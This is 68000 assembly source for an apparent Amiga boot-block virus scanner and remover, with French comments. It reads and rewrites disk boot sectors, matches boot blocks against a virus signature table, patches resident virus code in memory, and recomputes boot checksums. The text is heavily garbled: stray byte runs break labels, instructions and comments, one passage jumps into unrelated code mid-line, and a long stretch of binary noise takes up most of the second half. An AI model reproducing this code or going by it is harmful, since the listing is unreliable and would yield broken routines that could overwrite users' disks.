bsr.L drive ;test 'disk in drive' tst.b goon beq.L endld bsr.L protect ;test 'write protection' tst.b goon beq.L endld ldpont: move.l #namet,d2 bsr.L ecrire2 bsr.L nameprg ;get filename lea file,a0 ;meme ch"JN,ose que plus haut cmp.b #"D",(a0) ;teste 'DFx:' beq.s okload cmp.b #"d",(a0) beq.s okload bsr.S specifie rts okload: cmp.b #"F",1(a0) beq.s okloaf cmp.b #"f",1(a0) beq.s okloaf bsr.L specifie rts okloaf: cmp.b #":",3(a0) beq.s okloadp bsr.L specifie rts okloadp:move.b 2(a0),d0 cmp.b drs,d0 beq.s okdrl cmp.b drd,d0 beq.S okdrl rts okdrl: bsr.L opendev bsr.L drive ;'disk in drive' ? tst.b goon ;error beq.S endld bsr.L readprg cmp.b #1,notfound beq.s endl#Kd move.l #dest,d2 bsr.L ecrire2 BSR.L WAITRET bsr.L drive cmp.b #1,notfound beq.s endld move.l buffer,boots bsr.L copyb bsr.L writeb endld: rts writeprg:tst.b flagdr beq.s wrpont bsr.L drive ;test tst.b goon beq.s endwrp bsr.L protect ;test tst.b goon beq.s endwrp wrpont: move.l dosbase,a6 move.l nameprog,d1 move.l #1006,d2 ;mode jsr -30(a6) ;openfile move.l d0,iboot ;handle file move.l d0,d1 move.l buffer,d2 move.l #$400,d3 ;1024 octets jsr -48(a6) ;$L;Mwritefile nowrite:move.l iboot,d1 jsr -36(a6) ;close endwrp: rts readprg:clr.b notfound ;test 'file not found' tst.b flagdr beq.s rdpont bsr.L drive tst.b goon beq.s endwrp rdpont: move.l dosbase,a6 move.l nameprog,d1 ;nom move.l #1005,d2 ;mode jsr -30(a6) ;open tst.l d0 ;error beq.s endrdp move.l d0,iboot move.l d0,d1 ;handle move.l buffer,d2 ;dans buffer move.l #$400,d3 ;1024 jsr -42(a6) ;read move.l iboot,d1 jsr -36(a6) ;close bra.s goodrd endrdp: move%Mg,)Q.b #1,notfound move.l #notft,d2 ;text 'file not found' bsr.L ecrire2 bsr.S wait goodrd: rts waitRET:bsr.S keyread ;routine 'wait returnkey' move.l #buf,a0 move.b (a0),d0 cmp.l #$0d,d0 ;return bne.s waitRET RTS info: move.l #inft,d2 bsr.L ecrire2 BSR.S WAITRET move.l #inft2,d2 bsr.L ecrire2 bsr.s waitret rts wait: move.l dosbase,a6 jsr -198(a6) ;delay MOVE.L #85,D1 ;duree 85*(1/50 de sec) rts motor: move.l 4,a6 lea diskioreq,a1 move.w #9,28(a1) ;command 'm&NEotor' clr.l 36(a1) ;off jsr -456(a6) rts keyread:move.l dosbase,a6 move.l conhandle,d1 ;handle fenetre uvk move.l #buf,d2 moveq #1,d3 jsr -42(a6) ;read rts RAMCHK2:move.l #ramct,d2 bsr.L ecrire2 lea ramlist,a0 ;table virus in ram ramclp: move.l $4,a6 add.l (a0),a6 ;vecteur resident+execbase move.l (a6),a1 cmp.l #$0,a1 ;vecteur vide ? beq.s novram ;oui sub.l 4(a0),a1 ;debut virus(DOS.) move.l a1,a5 add.l 12(a0),a1 ;endroit a tester dans virus move.l ('Oɡa1),d0 cmp.l 8(a0),d0 ;test bne.s novram tst.l 16(a0) ;besoin d'etre tue ? beq.s noksub ;0=non move.l 16(a0),a2 ;adr routine kill jsr (a2) ;execution noksub: cmp.l #ramct,d2 bne.s nfirst move.l #return,d2 bsr.L ecrire2 nfirst: move.l #orange,d2 bsr.L ecrire2 move.l 20(a0),d2 ;text du virus bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 move.l #found,d2 ;text 'found ' bsr.L ecrire2 move.l #locate,d2 ;text 'located at ' bsr.L ecrire2 move.l a5,d0 (Pkz[|;adr debut virus bsr.L conv ;conv en ascii move.l #convtxt+2,d2 ;dans buffer bsr.L ecrire2 ;affiche buffer novram: add.l #24,a0 ;virus suivant tst.l (a0) ;fin table bne.L ramclp cmp.l #ramct,d2 bne.s endramc move.l #okt,d2 ;'OK' bsr.L ecrire2 endramc:move.l irqopenlib,a0 cmp.l #" IRQ",-816(A0) ;teste irq grace a bne.s endirqc ;l'openlib sauvegarde move.l #orange,d2 bsr.L ecrire2 move.l #IRQ,d2 ;irq virus found bsr.L ecrire2 move.l #normal,d2 bsr.L ecri)QB̴re2 move.l #found,d2 bsr.L ecrire2 endirqc:rts bank: andi.b #$50,462(a5) ;routines ramkillvirus rts lam2k: move.l #$600001d8,$17c(a5) rts lam3k: move.l #$60000210,$164(a5) rts lam1k: move.l #$600001c6,$17c(a5) rts lam4k: move.l #$600001c6,$178(a5) rts dokk: move.w #$4e75,$2ac(a5) move.b #$f9,$151(a5) rts gadk: move.b #$8c,343(a5) rts revk: move.w #$600a,$1e8(a5) rts reschk2:move.b #1,retfl move.b #1,rflag move.l #resid,d2 bsr.L ecrire2 move.l $4,a6 tst.l 46(a6*<|) ;coolcapture beq.s okcool move.b #0,retfl move.b #0,rflag move.l #coolt,d2 bsr.L ecrire2 move.l $4,a6 move.l 46(a6),d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 okcool: move.l $4,a6 tst.l 42(a6) beq.s okcold tst.b protector bne.s noccold move.b #0,rflag noccold:move.l #coldt+1,d2 tst.b retfl beq.s rf1 move.l #coldt,d2 rf1: bsr.L ecrire2 move.l $4,a6 move.l 42(a6),d0 bsr.L conv move.l #convtxt+2,d2 bsr.L ecrire2 okcold: tst.b protector bne.s nocco moveS#irus virlp: move.l (a1),d0 ;distance move.l 0(a0,d0.l),d1 ;distance + debut cmp.l 4(a1),d1 ;= virus (liste) ? bne.s novir ;non move.l 4(a0,d0.l),d1 ;= virus (2eme mot long) ? cmp.l 8(a1),d1 bne.s novir ;non move.l #cls2,d2 ;efface ecran bsr.L ecrire2 move.l #orange,d2 bsr.L ecrire2 move.l $c(a1),d2 ;texte correspondant bsr.L ecrire2 move.l #normaL,d2 bsr.L ecrire2 move.l #detect,d2 ;text 'detected' bsr.L ecrire2 cmp.l #50,d2 ;virus found (d0 <> 50) bne.s kiTizsllv ;oui rts novir: add.l #16,a1 ;virus suivant dans table tst.l (a1) ;fin table bne.s virlp MOVE.L #UNKT,D2 ;texte 'nothing suspect' BSR.L ECRIRE2 BSR.L WAIT rts killv: move.l #kilt,d2 ;text 'Kill or Exit' bsr.L ecrire2 waitk: bsr.L keyread ;lit touche move.l #buf,a0 ;buffer touche move.b (a0),d0 cmp.b #"e",d0 ;exit beq.s endchk cmp.b #"E",d0 ;exit beq.s endchk cmp.b #"k",d0 ;kill virus beq.s killvir cmp.b #"K",d0 beq.s killvir ;kill virus bra.s waitk kUWn)illvir:lea bootb,a0 ;boot 'installed with UVK' move.l a0,boots ;variable pour bsr.L copyb ;routine 'copyboot' bsr.L writb ;ecrit boot endchk: rts protect:move.l $4,a6 ;routine 'disk write protected' MOVE.b #1,GOON lea diskioreq,a1 move.w #15,28(a1) ;command test write pro jsr -456(a6) ;doio lea diskioreq,a1 tst.l 32(a1) ;resultat beq.s okprot ;pas protection clr.b GOON ;protection flag =0 promsg: move.l #protxt,d2 ;text bsr.L ecrire2 bsr.L wait ;temporisation V4/OOKPROT: rts instALL:MOVE.L #inst,D2 BSR.L ECRIRE2 bsr.L keyread ;lit touche move.l #buf,a0 ;buffer touche move.b (a0),d0 lea inslist,a0 ;table install inslp: move.b 3(a0),d1 ;touche cmp.b d0,d1 ;touche pressee ? bne.s noins ;non move.l 4(a0),boots ;adr boot bsr.s isub ;install bra.s inscont ;suite noins: add.l #8,a0 ;boot suivant tst.l (a0) ;fin liste bne.s inslp inscont:cmp.l #"d",d0 ;exchange drive beq.s chdr cmp.l #"D",d0 ;exchange drive beq.S chdr brW4a.s t9 chdr: bsr.L exchdr t9: cmp.l #"9",d0 ;quit install bne.S install MOVEQ #0,D0 ;touche menu=0 (evite erreur) rts ISUB: BSR.L COPYB ;recopie boot BSR.L WRITEB ;ecrit boot MOVE.L #inst,D2 ;text BSR.L ECRIRE2 RTS drive: move.l $4,a6 ;routine 'disk in drive' MOVE.b #1,GOON lea diskioreq,a1 move.w #14,28(a1) ;command jsr -456(a6) lea diskioreq,a1 tst.l 32(a1) beq.s okdk CLR.b GOON ;flag =0 (no disk in drive) move.l #ndktxt,d2 ;text bsr.L ecrire2 bsr.L waiXZMt ;temporisation OKDK: rts readtrk:bsr.L opendrs ;routine lit boot sourse BSR.S DRIVE ;teste 'disk in drive' tst.b GOON Beq.S ENDTRK okread: move.l $4,a6 lea diskioreq,a1 move.w #2,28(a1) ;command 'lecture' move.l #1024,36(a1) ;2 secteurs move.l buffer,40(a1) ;dans buffer move.l #0,44(a1) ;offset = piste 0 (boot) jsr -456(a6) ;doio tst.l d0 beq.s okread2 rts okread2:bsr.L motor ;motor off ENDTRK: rts writeb: bsr.L opendrd ;ouvre drive dest writb: bsr.L drive Yդz ;test 'disk in drive' tst.b goon beq.s endwrit ;erreur bsr.L protect ;test 'write protected' tst.b goon beq.s endwrit ;erreur move.l $4,a6 lea diskioreq,a1 move.w #3,28(a1) ;command 'ecriture' move.l #1024,36(a1) ;2 secteurs move.l buffer,40(a1) ;buffer move.l #0,44(a1) ;boot jsr -456(a6) ;doio move.w #4,28(a1) ;update (par securite apres write) move.l #1024,36(a1) ;2 secteur move.l buffer,40(a1) ;buffer move.l #0,44(a1) ;boot jsr -456(a6) ;doio bsr.L motor ;mZT\otor off rts endwrit:rts MOVESUB:MOVE.L #MOVET,D2 BSR.L ECRIRE2 bsr.L keyread ;teste touche move.l #buf,a0 ;buffer touche move.b (a0),d0 cmp.b #"1",d0 ;1 bne.s t2M bRA.L RECORD ;record b->f t2M: cmp.b #"2",d0 ;2 bNE.S pasld bRA.L LOAD ;load f->b pasld: cmp.b #"d",d0 ;exchange drive beq.s chdrm cmp.b #"D",d0 ;exchange drive beq.s chdrm bra.s t3m chdrm: bsr.L exchdr t3m: cmp.l #"3",d0 ;fin bne.s movesub rts nameprg:clr.l keycpt ;routine 'getfilename[R' LEA file,a2 ;buffer filename move.l #29,d0 ;effacement restorefile: clr.b (a2)+ ;buffer dbf d0,restorefile lea file,a2 ;adr buffer lpkey: addq.l #1,keycpt ;nb char lpkey1: bsr.L keyread ;lit touche move.l #buf,a0 move.b (a0),d0 CMP.L #-1,D0 ;aucune touche pressee BEQ.S LPKEY cmp.l #$0d,d0 ;return -> fin beq.s endrec cmp.l #8,d0 ;del bne.s ctkey cmp.l #1,keycpt ;tout nom efface avec del beq.s lpkey1 move.l #delt,d2 ;text del subq.l #1,keycpt ;char=char-1 \eSUBQ.L #1,A2 ;ptr char -1 MOVE.B #0,(A2) ;0=fin filename bsr.L ecrire2 ctkey: cmp.l #31,keycpt ;31 char beq.s lpkey1 ;oui cmp.l #20,d0 ;<$20 ? blo.s lpkey1 ;oui cmp.l #127,d0 ;>$7f ? bhi.s lpkey1 ;oui bra.s notret ;suite endrec: lea file,a0 ;ptr filename dans nameprog move.l a0,nameprog rts notret: move.B D0,(a2)+ ;recopie char move.l #buf,d2 ;affiche char move.l #1,d3 bsr.L ecrire brA.L lpkey ;continue record: move.l #sout,d2 bsr.L ecrire2 BSR.L WAITRGIJET ;touche return bsr.L readtrk ;lit boot tst.b goon ;erreur beq.L endrecord move.l #des,d2 bsr.L ecrire2 BSR.L WAITRET tst.b flagdr ;mode '2 drives' beq.s repont bsr.L drive ;test 'disk in drive' tst.b goon beq.L endrecord bsr.L protect ;test 'write protected' tst.b goon beq.S endrecord repont: move.l #namet,d2 bsr.L ecrire2 bsr.L nameprg ;getfilename lea file,a0 cmp.b #"D",(a0) ;test 'DFx:' dans filename beq.s okrecd ;'Dfx:' 'dFx:' 'dfx:' cmp.b #"d",(a0 ^Wa0,a5 ;jsr -612(a6) beq.s enduks ;move.l d0,554(a6) addq #2,a0 cmp.l #$4eaefd9c,(a0) bne.s ukslp cmp.l #$2d40022a,4(a0) bne.s ukslp move.l #orange,d2 bsr.L ecrire2 move.l #usekst,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 moveq #0,d7 enduks: move.l #mimm,d2 move.l buffer,a0 ;move.l Imm,d16(a6) mptrlp: cmp.l a0,a5 beq.s endmptr addq #2,a0 cmp.w #$2d7c,(a0) bne.s mptrlp move.w 6(a0),d5 bsr.s moffexb bra.s mptrlp endmptr:move.l #man,d2 move.l buffer, _=a0 ;move.l An,d16(a6) mpt2lp: cmp.l a0,a5 beq.s endmpt2 addq #2,a0 move.w (a0),d0 and.w #$2d48,d0 cmp.w #$2d48,d0 bne.s mpt2lp move.w 2(a0),d5 bsr.s moffexb bra.s mpt2lp endmpt2:move.l #mclr,d2 move.l buffer,a0 ;clr.l d16(a6) clptlp: cmp.l a0,a5 beq.s endclpt addq #2,a0 cmp.w #$42ae,(a0) bne.s clptlp move.w 2(a0),d5 bsr.s moffexb bra.s clptlp endclpt:tst.l d7 beq.s endmp1 move.l #ananoth,d2 bsr.L ecrire2 bsr.L wait bra.s endmp2 endmp1: move.l #warnb,d2 bsr `-y.L ecrire2 bsr.L waitret endmp2: rts moffexb:move.l #analist+2,a4 modiflp:cmp.w (a4),d5 bne.s nomodif move.l 2(a4),-(a7) bsr.l ecrire2 move.l #orange,d2 bsr.L ecrire2 move.l (a7)+,d2 bsr.L ecrire2 move.l #normal,d2 bsr.L ecrire2 moveq #0,d7 nomodif:add.l #8,a4 tst.w (a4) bne.s modiflp rts checksum:move.l #sout,d2 bsr.L ecrire2 BSR.L WAITRET bsr.L readtrk ;lit boot tst.b GOON ;test erreur beq.S ENDsum move.l BUFfer,A0 LEA 4(A0),A1 ;emplacement CLR.L  aa$(A1) ;checksum MOVE.w #$00FF,D1 MOVEQ #$00,D0 LPCHK: ADD.L (A0)+,D0 BCC.S JUMP ADDQ.L #1,D0 JUMP: DBF D1,LPCHK not.l d0 MOVE.L D0,(A1) ;new checksum move.l dosbase,a6 move.l #sumt,d2 bsr.L ecrire2 move.l #50,d1 ;attends 1 seconde jsr -198(a6) ;delay move.l #wr,d2 bsr.L ecrire2 bsr.L writb endsum: rts ecrire3:move.l dosbase,a6 jsr -60(a6) ;output (cherche handle fenetre cli) move.l d0,d1 bra.s ecr3 ecrire2:move.l conhandle,d1 ecr3: move.b #0,flagecr ;recheb}rche auto d3 (len) movem.l a1/a0/d2,-(a7) ;sauve a1/a0 move.l d2,a0 clr.l d3 ecrilp: add.l #1,d3 ;len +1 cmp.b #-1,(a0)+ ;char = -1 bne.s ecrilp ;non -> on continue sub.l #1,d3 ;len -1 bra.s ecr1 ecrire: move.l conhandle,d1 move.b #1,flagecr ecr1: move.l a0,-(a7) move.l dosbase,a6 ;d2=pointeur/d3=len char jsr -48(a6) move.l (a7)+,a0 tst.b flagecr bne.s endecr movem.l (a7)+,a1/a0/d2 ;restore a1/a0 endecr: rts keypage:move.l #keytxt,d2 bsr.L ecrire2 bsr.L waitretc ;routine attend touche 'return' rts credits:move.l #credt,d2 bsr.L ecrire2 bsr.L waitret rts amiguy: move.l #guytxt,d2 bsr.L ecrire2 bsr.L waitret rts copyb: move.l buffer,a0 ;copie boot dans buffer move.l boots,a1 move.l #$100,d0 coplp: move.l (a1)+,(a0)+ dbf d0,coplp rts opendrs:move.l $4,a6 ;open drive source clr.l d0 move.b drs,d0 sub.l #$30,d0 ;code ascii - 30 lea diskioreq,a1 lea trkdisk,a0 jsr -444(a6) tst.l d0 bne.L end rts opendrd:clr.l d0 ;opend drive destination move.b drd,d0 opendev:sub.l #$30,d0 move.b d0,d0 move.l $4,a6 lea diskioreq,a1 lea trkdisk,a0 jsr -444(a6) tst.l d0 bne.L end rts chkboot:bsr.L readtrk ;lit boot tst.b GOON ;erreur beq.S ENDcboot ;oui move.l buffer,a0 lea bootlist,a1 ;table boot bspelp: move.l (a1),d0 ;distance au debut move.l 0(a0,d0.l),d1 ;distance+debut cmp.l 4(a1),d1 ;=mot long boot special ? bne.s nobspe ;non move.l 4(a0,d0.l),d1 ;mot long suivant cmp.l 8(a1),d1 ;= me-[ot long suivant dans liste ? bne.s nobspe ;non move.l #orange,d2 ;couleur orange bsr.L ecrire2 move.l #cls2,d2 ;efface ecran bsr.L ecrire2 move.l $c(a1),d2 ;texte boot special bsr.L ecrire2 move.l #normal,d2 ;couleur normale bsr.L ecrire2 move.l #reco,d2 ;texte 'reconized' bsr.L ecrire2 bsr.L waitret ;touche return rts nobspe: add.l #16,a1 ;boot special suivant tst.l (a1) ;fin de la liste ? bne.s bspelp endcboot:rts display:bsr.L readtrk ;lit boot tst.b GOON ;ef_1m0rreur beq.S ENDDISP move.l buffer,a0 ;adr boot lu lea SCR,a1 ;adr buffer ecran lea $400(a0),a2 scrct: move.b (a0),d0 cmp.b #$7f,d0 ;>$7f ? bhi.s nocar ;oui cmp.b #$20,d0 ;<$20 ? blo.s nocar ;oui move.b (a0),(a1)+ ;>$20 et <$7f -> on affiche le char bra.s cont nocar: move.b #$2e,(a1)+ ;on remplace par un '.' cont: add.l #1,a0 ;caractere suivant cmp.l a0,a2 ;fin ? bne.s scrct ;non move.l #scr,d2 move.l #$400,d3 bsr.L ecrire BSR.L WAITRET ENDDISP:rts exchdr:g>9F_ tst.b flagdr ;mode 2 drive bne.s endexdr ;non -> end lea drtxt,a0 ;adr dans main menu move.b drs,d0 ;echange sour et dest move.b drd,d1 move.b d1,drs move.b d0,drd move.b drs,10(a0) move.b drd,16(a0) lea movet,a0 ;texte fenetre move move.b drs,25(a0) lea inst,a0 ;install move.b drd,28(a0) lea sout,a0 move.b drs,23(a0) lea dest,a0 move.b drd,32(a0) clr.l d0 endexdr:rts tstdrdi:move.l resbase,a6 ;routine pour futur UVK jsr 30(a6) rts COPY: move.l #sout,d2R* ' ;texte bsr.L ecrire2 BSR.L WAITRET bsr.L readtrk ;lit sour tst.b goon ;erreur beq.s endcop move.l #dest,d2 ;texte bsr.L ecrire2 BSR.L WAITRET bsr.L writeb ;ecrit dest endcop: rts check: moveq #0,d2 ;flag boot special not found bsr.L chkboot ;boot special ? tst.l d2 bne.L endchk ;oui -> end move.l #50,d2 ;flag virus found bsr.L readtrk ;lit sour tst.b GOON ;erreur bne.S OKCHK ;non RTS OKCHK: move.l buffer,a0 ;adr buffer boot lu lea virlist,a1 ;table v,ia  (|i $p9"Zg漕^9&HaiBNa@$Xac $h:"gMh֬gL9D3gS u6lH?"4/iz"z fT7eTH`_ ba/H3  \f_ (g6 7f 4Gc pdg 3:1aR!P\@N97PL5&=&Ĕ@Xj sgg`PT`N6&z m g Jg?9 ^ D6a jUJڀHЦ(bl= K mBg! fPhjJM#+4P*JoO@l9Bkʉ B9H gyJa)^'B27XXG T NW#f <$*lz.GA%7 F0taLLf.hOa#@ ҹrB4/I_/f~!]/f#g.`gJ:RzZ"ntEf$+/rfCɂ.g 2RiMrXQrHh S@GBd apc dRH 4eXD3m4#uNpK z"|%3,Q J(a*A\-\A`ayBgJ_ @(v=#Nx,ɓrB/j. ~O>&p9"Zg漕^9&HaiBNa@$Xac $h:"gMh֬gL9D3gS u6lH?"4/iz"z fT7eTH`_ ba/H3  \f_ (g6 7f 4Gc pdg 3:1aR!P\@N97PL5&=&Ĕ@Xd*n rOTZ-YV)XVfSaZPlVNrTA[Mx]L~TASpB_L RH^G \m Wi9 LH-UӤTC.QsSPJ\T ̄W|AWpUN QBUtNTwNTuNTsNTpNESE2XO:XOBOHO6cI{sIW1҃Ll#GA`䈈LLR:ADay%LqNOxdH@ٛ FO"UzNL?~@RCAZU|LU Ȏu\kps O VO\,VAOhDp2𑎉zB k_EVeI86>SPNIr ADNSJpJAGELLnXFOVBO6dMROD@HX O"uo&ZXNZEV SL"Qu͍HItFT:TAYBX2VZ0BV}NBrH[MB]'Sr_u!R/s !^AC\^GBWEB"CB*xB2UT:Tq2B*PB,9(I4hVIXt@ RB` BfQBt=> $ZZ DOR PPM|vAHVB6( MShV-iVL`RRAjPkMTAmLcLTAoLbHhnG lG L]HeC"RIdCTSTxXLC@HCESHXfNNVPgEZ;F$VJkJ0 ;R jJfC&2gJ &C@ЀHJtA\4>V=G3,j?e^3|3k!6j`6>C/EgJ~k,h4a`TgkGO*1FrRTa` j4@`va`, BJ`B ()"c c g:c@ 0]^LP Rz,@gϏV38pr}'HSՌI"JNgdjF3nDJ .u#΁hʌ{X9pJ8W`E"`A٣J<3g g"Q-\R@g>F)Q G=AS"G`t >#t# p B-y9j(ggh>Gfa SpKJĽWghg Q <*ȃO@  92hgF W@sgUVL ` rSB й\= gg@9Jr%x:TH8f#JK`f@@Fٲ:GP 3?A`_ xQi/ `Z` m``I%  q`BOL9H,gBgE V9c;xwAOZh`PXB?<0A *X1I@%<V:jJ fJaNuOa-fbwA;&$<.#8N?2b;Z9 >NB#ZDB֞GPύ-TmBW }"!)&l>a74"sH g&I90Q e#B z=#Hn\f  cǹBpPm|.@.mM( D~, ҟGBPYf=f ,[/:t;`(SRә:6gSd@R/p"30v(LN}a_ L|4B` p &y3h ^/ |@H@B0rg' rxo &aB$fa R5"{af=['t|9E E8X<JϦc<Ȟdhy8~r攻+g+BR^]<`Yz<'$9$sBR6ǚ,#t g3V`BM~5a(#>3ES^2";Q3.h\Ah+ [-K M,f4E 5 H3_RfpIz 4Z:0;YA `cWMpsJ~bp"!NSgͽ`Qg4eKo (ql&k`0c~f'Cq,HDI N*Bc $//ˌrm!f&a~F@ @vf J;`FY"σM  @gBA9Jbza@f|'z`aZ"  uKXf|K[CF@#WuN`JMμFphӚ[:2xA ghܚW('豀' ҹSS/%fJ0PREILWqbz$0+ +AWZ+a \+8E_(fZ@8>bt eU / |f\` B$"Tv&#gS&8H(*g9L $L*.SRB8BLίL \:0\z ]]OCqX803b3A"kS S,e%_*|!c p`2ڥaf`DvdJB BR86ZO hJyz΄K <~8fcȵdȹBBLbdJxHDwTݠ#X@p !@A!C+ABf}f\r7 C0`A\j03?Qaz"fD DR"a}Og-Fa_:8 "B(fTaf ya` Lc`Wr Z yJ e_+f> ei@}A@S!25 `ȉ8`.V` p3 #b]BCh*Jq6Yʷe+`:0H`oha`GTL[%t #)|lЇPIAR2#; f XH"w06?ee"Y?$eebBBRBfu v `BB9924 ˝a 1p&abӡfOg (B_ܑ`B={ 1k^:} I&ȷ `L#Nlja|a|"(i`"` Ic",afD'^6@s FaDz4R2 KASo2J?:#hv/#:˱dȵ($*H&H$"fGʱtʷ>bqKS4~fJG^~cnBfX!y a!fY` Ea"`A?ȋ* "_`(*=g,Z c *Po8A.G?zKMCi{|?z 9^<2d[yaH!b|*}Tuqz \AR~ XA2A <WBg ,6OG*  :d<&I dSP/6gu P8H P bt͠yL'gI= F8x΅zH$pXt6X͈Ldl <2I<*$TnIoV̬[_\9BK('qB''^^5(@FKyʱ5 ~,nfJ OxoJ f˱dqNr" M) w(,{(<# "R:#l2efRJ&Fe Pez$H"p U :6Cޫ3cxxJ^abrIEU; 4oj0k: W 9`aQg ( d  _ 0pv!7W Q_/gDJezDS+hqp3eE xES-p:* 2"vIa#p>] `'RS&g' PG4(ś_,Dp"p2#o$aSo1D~h+G`@ahٓ5N(S9P]L žh|,I1rlFffhMKCYwf:0U yŗM(a`tfSE`fOcKtfSD(/Ɇ`'yRnM,2 SINg b Ka|7MN*2BQ fe_g0JNgz,t4~g"(BfIi g=N [ LG!`#gRlpGqdgYya|9hah,B `2aay0*xfWS\`\fkFox)0l’ |pc~X°Ͱ`L) "jp rL| RA@-(p*^a-pMr92H=J3ӡT-D/9""g9J/t3oА2c"1^ )p' p !!*: h/*,(ܟ1a$P~>!wǎ`B 7`+ "g@-⏌ |>f/4N$^L_m.=Bf(f. +^Rb"~32^``c  @av2:$_)"LNKAta x8ŰN2ㄉjzc +M>gFUGV`ƭ/,iq8#@ :S%TCLgOhI 0gXñxS, >#x͂Y &%}_~LOO<<& \j4#~h$f6|~oA 6eJ:Ss?@tFg9"t2c#<2.txty{/MwaH1Iff匟 p|QAMT&/PS`*P+gJ pVdb,( /( g`ARxFkJ.>L.p7@ r:+=[_ D/f[e9<jFSxzG|0M$?<:fK |~!0mZlP/m/@@m["90θ<`ވC3djB$lGcB 4ɕBH誖Kf BP8fxRQH$ $Pg"0I Tz{ 0@Bn@A@H߭EG@K ?G7_w8"|\Px^\ BLC4"0y:NMHfRaFfaJZNZNA4V`3A`FУPFHaBBx'`g,C%GB1~#br"`͸8O] g_haVC@~ Sĭ،jJHHGԲddyQ {{5kv `B vJi{||q|u θRz6g%t>=tFg$at:j o\ kJB5yz'8\bv.&WpS,WFC-rD0uar2[ ,1k">4PMbcr%{yIA:BdI.f2l_AGV0PfsuFaH Vf)7C'2F|H>D8oZx>$gMl 1wCeFסdB ra{3vtC@AEH@H68=f5z 6 YR(,ffMJ) Q=C|0OJHH^2&]:a`WBa`\a4QbaWXhaZa`էFaЇ7Ao<` +=`@R.@g@*Κ80gb?`u|Aa FEBUތaѸ`p$#]R #x~h.F6 8DPo|!N<:v$(f#jrrBh#'^H6(\8}zIjf( rg:=>>S $jbWcbDBa[b: 9{hLBp c<>?H(l=rsr`r/#d//\ ~/1 A.`@r9M<2%3]<+08;߮2Q.` NeeQ $ZBFSN<+HHEz ІHXP21񟊘aAS]?>A; ]?> ',`@H >MaB %׊^9 fH:JjfH~ y_* /~f߀Fe gcU`0A<ge%>80N5$̶ dAT4 4!3`NCb? ECh f@J DDFy:d` eI9!$^s"!4`hNrګB@3vg eI VCCDC6D8T|dKW4bQ ,h ta c"mP,0<0uvd`AMVܑt}&::O8&7WcmC|#Lxk9`ttpqCQԜȃnDlds$s2S? 'r ?Rf(eUƽa&"l@a>3QQPt9vu)d|c`1 ~*g< &gȄyKl7*fGёM-FS)o/~`fCBL" qIUܼ&xdI4ր)()ɠ%{2S> B|f 30 JZkyJy^ІBB/hBu!Ъb@Bl\=@0 Ma|C?*]~BB"_dG+~P/S?RgdIH$A#FX`5k@(@BPv#@Vrb: [/?kfA#Z#sߐBBKU䈐4B@?Re y (Q\‰XXYo Q Ef1^` exC4 8 H-3^*.D/Cf$@fC>$gJRcbKȟffBnͮ0tSOuG\hWFGHm 4co)`@BRJpvof}*`߃# BANWi#C`<Bt 6 afA/K^/Zg9=#fg(.a:w+Jx/dfJ46H s_XEa)B?H`se" Ia ܣ  |jYc) x# 0"B:!AH5AuAFz@uGP5!tRy 7ڇ$3G]#kJ,jlC-&Y&.n<+yg҇g@J~Er gC<rgDLrgXr(gJ r R':AJ`DA2c)f&JC0@D@S%A#+ l@0BڄAGG20AS`2ADY9#3@RHa`v('vޙ `3ߓ9o"!Bd":"caA$eA ,[A|JH`>o>J8 $~ R ` #f*aX?&CtdȈ@f|'}ava XNL\$JA @zvNPA͋g??xz?y?fy?fy?fy?? 0?x&"Nt–0GJJQBBSU44aaa a aaaaFPr n >I/VOWe U`p}<78ί6 Ǿ3⾅3QYF27:u>f<G GTfF FRR01` 0[L&HZzZ5|N"QK5>:<9742/-*(%# b Pa3ϡLaYwB e8J- Y͢Wol ;XHrMߔ qLo3eARLRa`ag/dIA tBؠ2 Gy(::Kz `R Rzێ *s0 @@@P^M,H!5Y"ڱa:$Ja2#o [Lf|3L |!)>>!U'Wxg%5?D".r~ %Q|#gz#(C!w/,tCWH#Q\C,qc7 A|A4;4+"$#y OKh,PHsČ2߀PFp \\#h @ U~:vz=/,.AbN>z"01"#hNC|`vȇuv`ϟ2Ĉ fȵ"F I$H"L| ~y a`cyjN)NZfދ/%8I(7C0X?p3M"?22 Kp8C@DpF )0P ~fyEi&AHAB"RS S拏0Df"͑]tjn`f@4Bdž0JW2WAy D` <4pKǏ3@@OQgJ?pL mCX7<@~N90ԫ\S=欜,[ySι]B< Ag@lI"|Hcgm$lR.Ca fnhaBL,`S} p`a@躧ȹ!ѱShh!ͽt_̽`SSLpgαf̱R'RRN \,O8JB|:`6x HXA.X PC6ٞKaN(N*%uNbRB tpLaH"C v[g(e:Yy 0akn̚qo9KAx:mH?t@Hay/a ?>Fs ^s L*ё4;C:cV y'# 'U! xXOR L:dSAh5;dEW>Q!QyDLUMռ%ՎAy G715AO@M7D-K<)?3Nb-E  8Q% #QTQ Q*  "1~B RB#w"͑*@Ys0ԥ| \BIccSF0_  FQzg*TX%E,' PMJj 8AT  $ '(4,$ob7X,LikFKRSJxV_ $?ETR* ~ ' ER>v D05 x LNU#GKNILIRT+&a_{1 I TXEAEPJOPAWS A>6NDN<MV eȻ TO  _ X>N1RJY ՘&  B. 0  >L  WUEVOM 0S SSKH@8NT2*q9ew@ES <0RL (GHCBTSTBO@"|1" PMC /GEADOBUS @ DNA 4M@.ROv6.DpxPR|>80(  u! LI t laH`LdȜ0,X\< 0e  #49 hn_@]y@ =0K`"=#a&z"Vy J сeꕌc@"B qNJԾfEW;~2C*<8芄L1p` 0p egHpjK,#[aS xLa(.pa32U%p89B>-LwLp.Lk'qUt̔HlD"pr", /]d! p + wlk<^ ?Z!jxE!JO`@.U S@D:`FP> aHH|*C'A@0BX/< A_4>+ mJn0G~`N @@F.fWq| tgd8gDCBB^;{i$ `T Q*| dAv$EA2 0+4aD:a? a0) ,ѡS9 ăXt%vR9hav;<4+נC"LY2Q|!@ z$ $ِhA90g tY*NldCIp8Wpf}RI2P 1^#2"G5p``Q'@S!gUO90``#I`^iC ;_"50wA2'wB8:Y6dtSbUQKRg9``GT#3 0003 0003 00?0 0 0 0 0 0 0 0 03 ???8~>3~w8w931ߟ~gpg9qϟ~g9s~o9 pUs|1g|՞|s}??y灞x??sx?0?s珞sx㞏?q?s矞s???ǟ?3>9瓞? for the more info menu.",-1 Inft3:dc.b $c," and also the following ones :",$a,$a dc.b " Outlaws Ckecker, Starfire Checker, Quartex NoDrives, Clonk!",$a dc.b " Sabaudian, VCC Access forbidden, Filter BooCVt 1.01, VCS 3.2,",$a dc.b " Thor Antivirus, CopyBootIII, SuperFly Checker, VCC NoFastMem.",$a dc.b $a,$a,$a," 